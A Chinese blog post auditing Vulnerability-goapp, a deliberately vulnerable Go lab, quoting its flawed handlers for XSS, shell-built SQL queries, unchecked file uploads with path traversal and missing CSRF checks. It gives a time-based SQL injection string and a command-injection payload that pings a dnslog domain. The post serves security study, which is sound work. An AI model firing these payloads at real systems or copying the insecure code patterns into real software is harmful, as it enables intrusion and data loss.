背景
查找资料,学习golang的代码审计。漏洞类型是相似的,主要是学习golang漏洞代码中的表现形式。
Vulnerability-goapp是模拟漏洞的一个靶场。
搭建
作者提供docker,不建议使用源码(作者数据库结构没给,而且数据库连接一大堆地方。。。。)。
bash
git clone https://github.com/Hardw01f/Vulnerability-goapp.git
cd Vulnerability-goapp
docker-compose up -d
代码分析
目录遍历
访问main.go入口文件,看见如下代码:
golang
// http.Handle 路由 http.StripPrefix 进行路径分层(处理映射) http.FileServer 显示当亲路径
http.Handle("/assets/", http.StripPrefix("/assets/", http.FileServer(http.Dir("assets/"))))
反射型XSS - 【一】
mian.go
```
...
http.HandleFunc("/", sayYourName) // 当前网址执行 sayYourName 函数
...
...
func sayYourName(w http.ResponseWriter, r *http.Request) {
r.ParseForm() // 解析表单
fmt.Println(r.Form)
fmt.Println("path", r.URL.Path)
fmt.Println("scheme", r.URL.Scheme)
fmt.Println("r.Form", r.Form)
fmt.Println("r.Form[name]", r.Form["name"])
var Name string
for k, v := range r.Form { // 遍历提交数据键值对
fmt.Println("key:", k)
Name = strings.Join(v, ",")
}
fmt.Println(Name)
fmt.Fprintf(w, Name) // 输出,存在XSS
}
...
```
存储型XSS - 【一】
在login界面找到注册请求是/new,在main.go中查找路由
```
http.HandleFunc("/new", register.NewUserRegister)
```
跟进函数 /pkg/register.go
```
func NewUserRegister(w http.ResponseWriter, r *http.Request) {
if r.Method == "GET" {
t, _ := template.ParseFiles("./views/public/new.gtpl")
t.Execute(w, nil)
} else if r.Method == "POST" {
r.ParseForm()
fmt.Println(r.FormValue("mail"))
fmt.Println(r.FormValue("name"))
fmt.Println(r.FormValue("age"))
fmt.Println(r.FormValue("passwd"))
if CheckUserDeplicate(r.FormValue("mail")) { // 检查邮件是否重复
if RegisterUser(r) { // 跟进 RegisterUser
...
...
func RegisterUser(r *http.Request) bool {
db, err := sql.Open("mysql", "root:rootwolf@tcp(mysql)/vulnapp") // 连接数据库
if err != nil {
log.Fatal(err)
}
age, err := strconv.Atoi(r.FormValue("age"))
if err != nil {
fmt.Println(err)
return false
}
// 向表格中插入新的行 这里我们写入什么数据就直接执行
_, err = db.Exec("insert into user (name,mail,age,passwd) value(?,?,?,?)", r.FormValue("name"), r.FormValue("mail"), age, r.FormValue("passwd"))
if err != nil {
fmt.Println(err)
return false
}
return true
}
```
触发点在top路由:
```
...
http.HandleFunc("/top", showUserTopPage)
...
...
func showUserTopPage(w http.ResponseWriter, r *http.Request) {
userName, sessionID, userID, err := cookie.GetUserIDFromCookie(r) // GetUserIDFromCookie 从数据库中请求
if err != nil {
fmt.Println(err)
}
if cookie.CheckSessionsCount(userID, sessionID) {
login.StoreSID(userID, sessionID)
} else {
fmt.Println("not register sessionID")
}
if sessionID == "" {
fmt.Println("sid not exist")
t, _ := template.ParseFiles("./views/public/error.gtpl")
t.Execute(w, nil)
} else {
if r.Method == "GET" {
if userID != 0 {
uid := strconv.Itoa(userID)
cookieUserID := &http.Cookie{
Name: "UserID",
Value: uid,
}
deleAdminID := &http.Cookie{
Name: "adminSID",
Value: "",
}
http.SetCookie(w, cookieUserID)
http.SetCookie(w, deleAdminID)
p := Person{UserName: userName} // 没有过滤,
t, _ := template.ParseFiles("./views/public/top.gtpl")
t.Execute(w, p)
}
} else {
http.NotFound(w, r)
}
}
}
```
以此类推,后台后很多的触发点。
存储型XSS - 【二】
后台用户编辑处存在XSS,路由为/profile/edit/confirm
http.HandleFunc("/profile/edit/confirm", user.ShowEditConfirm)
跟进 usermanager.go
```
func ShowEditConfirm(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
if cookie.CheckSessionID(r) {
fmt.Println(r.Referer())
userName := r.FormValue("username")
age := r.FormValue("age")
mail := r.FormValue("mail")
fmt.Println("mail : ", mail)
address := r.FormValue("address")
animal := r.FormValue("animal")
word := r.FormValue("word")
userAge, err := strconv.Atoi(age)
if err != nil {
fmt.Printf("%+v\n", err)
}
, , uid, err := cookie.GetCookieValue(r)
if err != nil {
fmt.Printf("%+v\n", err)
http.NotFound(w, nil)
return
}
userMail, _, err := GetUserInfos(uid)
if err != nil {
fmt.Printf("%+v", err)
}
userImage, _, _, _, err := GetUserMoreDetails(uid)
if err != nil {
fmt.Printf("%+v", err)
http.NotFound(w, nil)
return
}
u := User{UserName: userName, Mail: userMail, Age: userAge, Image: userImage, Address: address, Animal: animal, Word: word}
t, _ := template.ParseFiles("./views/users/users_confirm.gtpl")
t.Execute(w, u) // 没有过滤 直接引用
}
} else {
http.NotFound(w, nil)
}
}
```
SQL注入 - 【一】
漏洞形成原理都是相通的,参数过滤没做好导致能执行sql语句(话说实战不会有人用命令行执行SQL语句吧,,)。
跟进search.go
```
func SearchPosts(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
searchWord := r.FormValue("post")
fmt.Println("value : ", searchWord)
testStr := "mysql -h mysql -u root -prootwolf -e 'select post,created_at from vulnapp.posts where post like \"%" + searchWord + "%\"'"
fmt.Println(testStr)
testres, err := exec.Command("sh", "-c", testStr).Output()
...
```
使用命令执行sql语句,searchWord 并且没有过滤。
123%" and sleep(10)#
跟踪数据,存在于搜索界面:
命令执行 - 【一】
这里大部分数据库查询使用的是exec.Command函数在命令行执行,如果参数可控就可能造成命令执行,跟进search.go
```
func SearchPosts(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
searchWord := r.FormValue("post")
fmt.Println("value : ", searchWord)
testStr := "mysql -h mysql -u root -prootwolf -e 'select post,created_at from vulnapp.posts where post like \"%" + searchWord + "%\"'"
fmt.Println(testStr)
testres, err := exec.Command("sh", "-c", testStr).Output()
...
```
构造命令执行语句,因为没回显,这里用DNSlog测试:
"'|ping alxaep.dnslog.cn|'"
执行的时候需要编码一次(其他地方漏洞类似,就不重复举例子了):
任意文件上传
main.go
http.HandleFunc("/profile/edit/upload", uploader.UploadImage)
跟进
```
func UploadImage(w http.ResponseWriter, r *http.Request) {
if r.Method == "POST" {
err := r.ParseMultipartForm(32 << 20) // 解析请求数据
if err != nil {
fmt.Printf("%+v\n", err)
return
}
if cookie.CheckSessionID(r) {
file, handler, err := r.FormFile("uploadfile") // 解析数据格式,返回文件内容名字错误信息
if err != nil {
fmt.Printf("%+v\n", err)
return
}
defer file.Close()
f, err := os.OpenFile("./assets/img/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666)
if err != nil {
fmt.Printf("%+v\n", err)
return
}
defer f.Close()
io.Copy(f, file) // 写入内容
UpdateDatabase(r, handler.Filename)
http.Redirect(w, r, "/profile", 301)
}
} else {
http.NotFound(w, nil)
}
}
```
上传文件名没有进行审核,导致任意文件上传漏洞
文件也可以通过“../../”形式进行跨目录上传。
CSRF - 【一】
存在很多处,比如密码修改和提交留言的地方,之类以提交留言为例子,使用burp生成CSRF的POC进行测试
跟进 post.go 中的 ShowTimeline 函数
```
unc ShowTimeline(w http.ResponseWriter, r *http.Request) {
...
} else if r.Method == "POST" {
if cookie.CheckSessionID(r) { // 只是检查了cookie,没有防止CSRF的地方
, , uid, err := cookie.GetCookieValue(r)
if err != nil {
fmt.Printf("%+v\n", err)
http.NotFound(w, nil)
return
}
fmt.Println(uid, r.FormValue("post"))
postText := r.FormValue("post")
fmt.Println(reflect.TypeOf(postText))
StorePost(uid, postText)
http.Redirect(w, r, "/timeline", 301)
...
```
其他
还存在一些越权漏洞主要参数都在cookie里面可以进行随意改动导致的越权,有些重复也没写,。
虽然代码乱糟糟的,但是总而言之还是学到了一些东西的,算是golang审计的一个小入门。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论